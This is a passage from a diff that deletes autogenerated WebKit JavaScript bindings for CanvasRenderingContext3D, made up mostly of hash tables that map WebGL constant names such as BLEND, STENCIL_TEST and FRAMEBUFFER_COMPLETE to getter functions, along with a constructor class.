-    { "INT_VEC4", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DINT_VEC4, (intptr_t)0 },
-    { "BOOL", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DBOOL, (intptr_t)0 },
-    { "BOOL_VEC2", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DBOOL_VEC2, (intptr_t)0 },
-    { "BOOL_VEC3", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DBOOL_VEC3, (intptr_t)0 },
-    { "BOOL_VEC4", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DBOOL_VEC4, (intptr_t)0 },
-    { "FLOAT_MAT2", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DFLOAT_MAT2, (intptr_t)0 },
-    { "FLOAT_MAT3", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DFLOAT_MAT3, (intptr_t)0 },
-    { "FLOAT_MAT4", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DFLOAT_MAT4, (intptr_t)0 },
-    { "SAMPLER_2D", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DSAMPLER_2D, (intptr_t)0 },
-    { "SAMPLER_CUBE", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DSAMPLER_CUBE, (intptr_t)0 },
-    { "VERTEX_ATTRIB_ARRAY_ENABLED", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DVERTEX_ATTRIB_ARRAY_ENABLED, (intptr_t)0 },
-    { "VERTEX_ATTRIB_ARRAY_SIZE", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DVERTEX_ATTRIB_ARRAY_SIZE, (intptr_t)0 },
-    { "VERTEX_ATTRIB_ARRAY_STRIDE", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DVERTEX_ATTRIB_ARRAY_STRIDE, (intptr_t)0 },
-    { "VERTEX_ATTRIB_ARRAY_TYPE", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DVERTEX_ATTRIB_ARRAY_TYPE, (intptr_t)0 },
-    { "VERTEX_ATTRIB_ARRAY_NORMALIZED", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DVERTEX_ATTRIB_ARRAY_NORMALIZED, (intptr_t)0 },
-    { "VERTEX_ATTRIB_ARRAY_POINTER", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DVERTEX_ATTRIB_ARRAY_POINTER, (intptr_t)0 },
-    { "VERTEX_ATTRIB_ARRAY_BUFFER_BINDING", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DVERTEX_ATTRIB_ARRAY_BUFFER_BINDING, (intptr_t)0 },
-    { "IMPLEMENTATION_COLOR_READ_TYPE", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DIMPLEMENTATION_COLOR_READ_TYPE, (intptr_t)0 },
-    { "IMPLEMENTATION_COLOR_READ_FORMAT", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DIMPLEMENTATION_COLOR_READ_FORMAT, (intptr_t)0 },
-    { "COMPILE_STATUS", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DCOMPILE_STATUS, (intptr_t)0 },
-    { "INFO_LOG_LENGTH", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DINFO_LOG_LENGTH, (intptr_t)0 },
-    { "SHADER_SOURCE_LENGTH", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DSHADER_SOURCE_LENGTH, (intptr_t)0 },
-    { "SHADER_COMPILER", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DSHADER_COMPILER, (intptr_t)0 },
-    { "SHADER_BINARY_FORMATS", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DSHADER_BINARY_FORMATS, (intptr_t)0 },
-    { "NUM_SHADER_BINARY_FORMATS", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DNUM_SHADER_BINARY_FORMATS, (intptr_t)0 },
-    { "LOW_FLOAT", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DLOW_FLOAT, (intptr_t)0 },
-    { "MEDIUM_FLOAT", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DMEDIUM_FLOAT, (intptr_t)0 },
-    { "HIGH_FLOAT", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DHIGH_FLOAT, (intptr_t)0 },
-    { "LOW_INT", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DLOW_INT, (intptr_t)0 },
-    { "MEDIUM_INT", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DMEDIUM_INT, (intptr_t)0 },
-    { "HIGH_INT", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DHIGH_INT, (intptr_t)0 },
-    { "FRAMEBUFFER", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DFRAMEBUFFER, (intptr_t)0 },
-    { "RENDERBUFFER", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DRENDERBUFFER, (intptr_t)0 },
-    { "RGBA4", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DRGBA4, (intptr_t)0 },
-    { "RGB5_A1", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DRGB5_A1, (intptr_t)0 },
-    { "RGB565", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DRGB565, (intptr_t)0 },
-    { "DEPTH_COMPONENT16", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DDEPTH_COMPONENT16, (intptr_t)0 },
-    { "STENCIL_INDEX", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DSTENCIL_INDEX, (intptr_t)0 },
-    { "STENCIL_INDEX8", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DSTENCIL_INDEX8, (intptr_t)0 },
-    { "RENDERBUFFER_WIDTH", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DRENDERBUFFER_WIDTH, (intptr_t)0 },
-    { "RENDERBUFFER_HEIGHT", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DRENDERBUFFER_HEIGHT, (intptr_t)0 },
-    { "RENDERBUFFER_INTERNAL_FORMAT", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DRENDERBUFFER_INTERNAL_FORMAT, (intptr_t)0 },
-    { "RENDERBUFFER_RED_SIZE", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DRENDERBUFFER_RED_SIZE, (intptr_t)0 },
-    { "RENDERBUFFER_GREEN_SIZE", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DRENDERBUFFER_GREEN_SIZE, (intptr_t)0 },
-    { "RENDERBUFFER_BLUE_SIZE", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DRENDERBUFFER_BLUE_SIZE, (intptr_t)0 },
-    { "RENDERBUFFER_ALPHA_SIZE", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DRENDERBUFFER_ALPHA_SIZE, (intptr_t)0 },
-    { "RENDERBUFFER_DEPTH_SIZE", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DRENDERBUFFER_DEPTH_SIZE, (intptr_t)0 },
-    { "RENDERBUFFER_STENCIL_SIZE", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DRENDERBUFFER_STENCIL_SIZE, (intptr_t)0 },
-    { "FRAMEBUFFER_ATTACHMENT_OBJECT_TYPE", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DFRAMEBUFFER_ATTACHMENT_OBJECT_TYPE, (intptr_t)0 },
-    { "FRAMEBUFFER_ATTACHMENT_OBJECT_NAME", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DFRAMEBUFFER_ATTACHMENT_OBJECT_NAME, (intptr_t)0 },
-    { "FRAMEBUFFER_ATTACHMENT_TEXTURE_LEVEL", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DFRAMEBUFFER_ATTACHMENT_TEXTURE_LEVEL, (intptr_t)0 },
-    { "FRAMEBUFFER_ATTACHMENT_TEXTURE_CUBE_MAP_FACE", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DFRAMEBUFFER_ATTACHMENT_TEXTURE_CUBE_MAP_FACE, (intptr_t)0 },
-    { "COLOR_ATTACHMENT0", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DCOLOR_ATTACHMENT0, (intptr_t)0 },
-    { "DEPTH_ATTACHMENT", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DDEPTH_ATTACHMENT, (intptr_t)0 },
-    { "STENCIL_ATTACHMENT", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DSTENCIL_ATTACHMENT, (intptr_t)0 },
-    { "NONE", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DNONE, (intptr_t)0 },
-    { "FRAMEBUFFER_COMPLETE", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DFRAMEBUFFER_COMPLETE, (intptr_t)0 },
-    { "FRAMEBUFFER_INCOMPLETE_ATTACHMENT", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DFRAMEBUFFER_INCOMPLETE_ATTACHMENT, (intptr_t)0 },
-    { "FRAMEBUFFER_INCOMPLETE_MISSING_ATTACHMENT", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DFRAMEBUFFER_INCOMPLETE_MISSING_ATTACHMENT, (intptr_t)0 },
-    { "FRAMEBUFFER_INCOMPLETE_DIMENSIONS", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DFRAMEBUFFER_INCOMPLETE_DIMENSIONS, (intptr_t)0 },
-    { "FRAMEBUFFER_UNSUPPORTED", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DFRAMEBUFFER_UNSUPPORTED, (intptr_t)0 },
-    { "FRAMEBUFFER_BINDING", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DFRAMEBUFFER_BINDING, (intptr_t)0 },
-    { "RENDERBUFFER_BINDING", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DRENDERBUFFER_BINDING, (intptr_t)0 },
-    { "MAX_RENDERBUFFER_SIZE", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DMAX_RENDERBUFFER_SIZE, (intptr_t)0 },
-    { "INVALID_FRAMEBUFFER_OPERATION", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DINVALID_FRAMEBUFFER_OPERATION, (intptr_t)0 },
-    { 0, 0, 0, 0 }
-};
-
-static JSC_CONST_HASHTABLE HashTable JSCanvasRenderingContext3DConstructorTable =
-#if ENABLE(PERFECT_HASH_SIZE)
-    { 32767, JSCanvasRenderingContext3DConstructorTableValues, 0 };
-#else
-    { 1063, 1023, JSCanvasRenderingContext3DConstructorTableValues, 0 };
-#endif
-
-class JSCanvasRenderingContext3DConstructor : public DOMConstructorObject {
-public:
-    JSCanvasRenderingContext3DConstructor(ExecState* exec, JSDOMGlobalObject* globalObject)
-        : DOMConstructorObject(JSCanvasRenderingContext3DConstructor::createStructure(globalObject->objectPrototype()), globalObject)
-    {
-        putDirect(exec->propertyNames().prototype, JSCanvasRenderingContext3DPrototype::self(exec, globalObject), None);
-    }
-    virtual bool getOwnPropertySlot(ExecState*, const Identifier&, PropertySlot&);
-    virtual bool getOwnPropertyDescriptor(ExecState*, const Identifier&, PropertyDescriptor&);
-    virtual const ClassInfo* classInfo() const { return &s_info; }
-    static const ClassInfo s_info;
-
-    static PassRefPtr<Structure> createStructure(JSValue proto) 
-    { 
-        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags)); 
-    }
-    
-protected:
-    static const unsigned StructureFlags = OverridesGetOwnPropertySlot | ImplementsHasInstance | DOMConstructorObject::StructureFlags;
-};
-
-const ClassInfo JSCanvasRenderingContext3DConstructor::s_info = { "CanvasRenderingContext3DConstructor", 0, &JSCanvasRenderingContext3DConstructorTable, 0 };
-
-bool JSCanvasRenderingContext3DConstructor::getOwnPropertySlot(ExecState* exec, const Identifier& propertyName, PropertySlot& slot)
-{
-    return getStaticValueSlot<JSCanvasRenderingContext3DConstructor, DOMObject>(exec, &JSCanvasRenderingContext3DConstructorTable, this, propertyName, slot);
-}
-
-bool JSCanvasRenderingContext3DConstructor::getOwnPropertyDescriptor(ExecState* exec, const Identifier& propertyName, PropertyDescriptor& descriptor)
-{
-    return getStaticValueDescriptor<JSCanvasRenderingContext3DConstructor, DOMObject>(exec, &JSCanvasRenderingContext3DConstructorTable, this, propertyName, descriptor);
-}
-
-/* Hash table for prototype */
-
-static const HashTableValue JSCanvasRenderingContext3DPrototypeTableValues[453] =
-{
-    { "DEPTH_BUFFER_BIT", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DDEPTH_BUFFER_BIT, (intptr_t)0 },
-    { "STENCIL_BUFFER_BIT", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DSTENCIL_BUFFER_BIT, (intptr_t)0 },
-    { "COLOR_BUFFER_BIT", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DCOLOR_BUFFER_BIT, (intptr_t)0 },
-    { "FALSE", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DFALSE, (intptr_t)0 },
-    { "TRUE", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTRUE, (intptr_t)0 },
-    { "POINTS", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DPOINTS, (intptr_t)0 },
-    { "LINES", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DLINES, (intptr_t)0 },
-    { "LINE_LOOP", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DLINE_LOOP, (intptr_t)0 },
-    { "LINE_STRIP", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DLINE_STRIP, (intptr_t)0 },
-    { "TRIANGLES", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTRIANGLES, (intptr_t)0 },
-    { "TRIANGLE_STRIP", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTRIANGLE_STRIP, (intptr_t)0 },
-    { "TRIANGLE_FAN", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTRIANGLE_FAN, (intptr_t)0 },
-    { "ZERO", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DZERO, (intptr_t)0 },
-    { "ONE", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DONE, (intptr_t)0 },
-    { "SRC_COLOR", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DSRC_COLOR, (intptr_t)0 },
-    { "ONE_MINUS_SRC_COLOR", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DONE_MINUS_SRC_COLOR, (intptr_t)0 },
-    { "SRC_ALPHA", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DSRC_ALPHA, (intptr_t)0 },
-    { "ONE_MINUS_SRC_ALPHA", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DONE_MINUS_SRC_ALPHA, (intptr_t)0 },
-    { "DST_ALPHA", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DDST_ALPHA, (intptr_t)0 },
-    { "ONE_MINUS_DST_ALPHA", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DONE_MINUS_DST_ALPHA, (intptr_t)0 },
-    { "DST_COLOR", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DDST_COLOR, (intptr_t)0 },
-    { "ONE_MINUS_DST_COLOR", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DONE_MINUS_DST_COLOR, (intptr_t)0 },
-    { "SRC_ALPHA_SATURATE", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DSRC_ALPHA_SATURATE, (intptr_t)0 },
-    { "FUNC_ADD", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DFUNC_ADD, (intptr_t)0 },
-    { "BLEND_EQUATION", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DBLEND_EQUATION, (intptr_t)0 },
-    { "BLEND_EQUATION_RGB", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DBLEND_EQUATION_RGB, (intptr_t)0 },
-    { "BLEND_EQUATION_ALPHA", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DBLEND_EQUATION_ALPHA, (intptr_t)0 },
-    { "FUNC_SUBTRACT", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DFUNC_SUBTRACT, (intptr_t)0 },
-    { "FUNC_REVERSE_SUBTRACT", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DFUNC_REVERSE_SUBTRACT, (intptr_t)0 },
-    { "BLEND_DST_RGB", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DBLEND_DST_RGB, (intptr_t)0 },
-    { "BLEND_SRC_RGB", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DBLEND_SRC_RGB, (intptr_t)0 },
-    { "BLEND_DST_ALPHA", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DBLEND_DST_ALPHA, (intptr_t)0 },
-    { "BLEND_SRC_ALPHA", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DBLEND_SRC_ALPHA, (intptr_t)0 },
-    { "CONSTANT_COLOR", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DCONSTANT_COLOR, (intptr_t)0 },
-    { "ONE_MINUS_CONSTANT_COLOR", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DONE_MINUS_CONSTANT_COLOR, (intptr_t)0 },
-    { "CONSTANT_ALPHA", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DCONSTANT_ALPHA, (intptr_t)0 },
-    { "ONE_MINUS_CONSTANT_ALPHA", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DONE_MINUS_CONSTANT_ALPHA, (intptr_t)0 },
-    { "BLEND_COLOR", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DBLEND_COLOR, (intptr_t)0 },
-    { "ARRAY_BUFFER", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DARRAY_BUFFER, (intptr_t)0 },
-    { "ELEMENT_ARRAY_BUFFER", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DELEMENT_ARRAY_BUFFER, (intptr_t)0 },
-    { "ARRAY_BUFFER_BINDING", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DARRAY_BUFFER_BINDING, (intptr_t)0 },
-    { "ELEMENT_ARRAY_BUFFER_BINDING", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DELEMENT_ARRAY_BUFFER_BINDING, (intptr_t)0 },
-    { "STREAM_DRAW", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DSTREAM_DRAW, (intptr_t)0 },
-    { "STATIC_DRAW", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DSTATIC_DRAW, (intptr_t)0 },
-    { "DYNAMIC_DRAW", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DDYNAMIC_DRAW, (intptr_t)0 },
-    { "BUFFER_SIZE", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DBUFFER_SIZE, (intptr_t)0 },
-    { "BUFFER_USAGE", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DBUFFER_USAGE, (intptr_t)0 },
-    { "CURRENT_VERTEX_ATTRIB", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DCURRENT_VERTEX_ATTRIB, (intptr_t)0 },
-    { "FRONT", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DFRONT, (intptr_t)0 },
-    { "BACK", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DBACK, (intptr_t)0 },
-    { "FRONT_AND_BACK", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DFRONT_AND_BACK, (intptr_t)0 },
-    { "TEXTURE_2D", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE_2D, (intptr_t)0 },
-    { "CULL_FACE", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DCULL_FACE, (intptr_t)0 },
-    { "BLEND", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DBLEND, (intptr_t)0 },
-    { "DITHER", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DDITHER, (intptr_t)0 },
-    { "STENCIL_TEST", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DSTENCIL_TEST, (intptr_t)0 },
-    { "DEPTH_TEST", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DDEPTH_TEST, (intptr_t)0 },
-    { "SCISSOR_TEST", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DSCISSOR_TEST, (intptr_t)0 },
-    { "POLYGON_OFFSET_FILL", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DPOLYGON_OFFSET_FILL, (intptr_t)0 },
-    { "SAMPLE_ALPHA_TO_COVERAGE", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DSAMPLE_ALPHA_TO_COVERAGE, (intptr_t)0 },
-    { "SAMPLE_COVERAGE", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DSAMPLE_COVERAGE, (intptr_t)0 },
-    { "NO_ERROR", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DNO_ERROR, (intptr_t)0 },
-    { "INVALID_ENUM", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DINVALID_ENUM, (intptr_t)0 },
-    { "INVALID_VALUE", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DINVALID_VALUE, (intptr_t)0 },
-    { "INVALID_OPERATION", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DINVALID_OPERATION, (intptr_t)0 },
-    { "OUT_OF_MEMORY", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DOUT_OF_MEMORY, (intptr_t)0 },
-    { "CW", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DCW, (intptr_t)0 },
-    { "CCW", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DCCW, (intptr_t)0 },
-    { "LINE_WIDTH", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DLINE_WIDTH, (intptr_t)0 },
-    { "ALIASED_POINT_SIZE_RANGE", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DALIASED_POINT_SIZE_RANGE, (intptr_t)0 },
-    { "ALIASED_LINE_WIDTH_RANGE", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DALIASED_LINE_WIDTH_RANGE, (intptr_t)0 },
-    { "CULL_FACE_MODE", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DCULL_FACE_MODE, (intptr_t)0 },
-    { "FRONT_FACE", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DFRONT_FACE, (intptr_t)0 },
-    { "DEPTH_RANGE", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DDEPTH_RANGE, (intptr_t)0 },
-    { "DEPTH_WRITEMASK", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DDEPTH_WRITEMASK, (intptr_t)0 },
-    { "DEPTH_CLEAR_VALUE", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DDEPTH_CLEAR_VALUE, (intptr_t)0 },
-    { "DEPTH_FUNC", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DDEPTH_FUNC, (intptr_t)0 },
-    { "STENCIL_CLEAR_VALUE", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DSTENCIL_CLEAR_VALUE, (intptr_t)0 },
-    { "STENCIL_FUNC", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DSTENCIL_FUNC, (intptr_t)0 },
-    { "STENCIL_FAIL", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DSTENCIL_FAIL, (intptr_t)0 },
-    { "STENCIL_PASS_DEPTH_FAIL", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DSTENCIL_PASS_DEPTH_FAIL, (intptr_t)0 },
-    { "STENCIL_PASS_DEPTH_PASS", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DSTENCIL_PASS_DEPTH_PASS, (intptr_t)0 },
-    { "STENCIL_REF", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DSTENCIL_REF, (intptr_t)0 },
-    { "STENCIL_VALUE_MASK", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DSTENCIL_VALUE_MASK, (intptr_t)0 },
-    { "STENCIL_WRITEMASK", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DSTENCIL_WRITEMASK, (intptr_t)0 },
-    { "STENCIL_BACK_FUNC", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DSTENCIL_BACK_FUNC, (intptr_t)0 },
-    { "STENCIL_BACK_FAIL", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DSTENCIL_BACK_FAIL, (intptr_t)0 },
-    { "STENCIL_BACK_PASS_DEPTH_FAIL", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DSTENCIL_BACK_PASS_DEPTH_FAIL, (intptr_t)0 },
-    { "STENCIL_BACK_PASS_DEPTH_PASS", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DSTENCIL_BACK_PASS_DEPTH_PASS, (intptr_t)0 },
-    { "STENCIL_BACK_REF", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DSTENCIL_BACK_REF, (intptr_t)0 },
-    { "STENCIL_BACK_VALUE_MASK", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DSTENCIL_BACK_VALUE_MASK, (intptr_t)0 },
-    { "STENCIL_BACK_WRITEMASK", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DSTENCIL_BACK_WRITEMASK, (intptr_t)0 },
-    { "VIEWPORT", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DVIEWPORT, (intptr_t)0 },
-    { "SCISSOR_BOX", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DSCISSOR_BOX, (intptr_t)0 },
-    { "COLOR_CLEAR_VALUE", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DCOLOR_CLEAR_VALUE, (intptr_t)0 },
-    { "COLOR_WRITEMASK", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DCOLOR_WRITEMASK, (intptr_t)0 },
-    { "UNPACK_ALIGNMENT", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DUNPACK_ALIGNMENT, (intptr_t)0 },
-    { "PACK_ALIGNMENT", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DPACK_ALIGNMENT, (intptr_t)0 },
-    { "MAX_TEXTURE_SIZE", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DMAX_TEXTURE_SIZE, (intptr_t)0 },
-    { "MAX_VIEWPORT_DIMS", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DMAX_VIEWPORT_DIMS, (intptr_t)0 },
-    { "SUBPIXEL_BITS", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DSUBPIXEL_BITS, (intptr_t)0 },
-    { "RED_BITS", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DRED_BITS, (intptr_t)0 },
-    { "GREEN_BITS", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DGREEN_BITS, (intptr_t)0 },
-    { "BLUE_BITS", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DBLUE_BITS, (intptr_t)0 },
-    { "ALPHA_BITS", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DALPHA_BITS, (intptr_t)0 },
-    { "DEPTH_BITS", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DDEPTH_BITS, (intptr_t)0 },
-    { "STENCIL_BITS", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DSTENCIL_BITS, (intptr_t)0 },
-    { "POLYGON_OFFSET_UNITS", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DPOLYGON_OFFSET_UNITS, (intptr_t)0 },
-    { "POLYGON_OFFSET_FACTOR", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DPOLYGON_OFFSET_FACTOR, (intptr_t)0 },
-    { "TEXTURE_BINDING_2D", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DTEXTURE_BINDING_2D, (intptr_t)0 },
-    { "SAMPLE_BUFFERS", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DSAMPLE_BUFFERS, (intptr_t)0 },
-    { "SAMPLES", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DSAMPLES, (intptr_t)0 },
-    { "SAMPLE_COVERAGE_VALUE", DontDelete|ReadOnly, (intptr_t)jsCanvasRenderingContext3DSAMPLE_COVERAGE_VALUE, (intptr_t)0 },
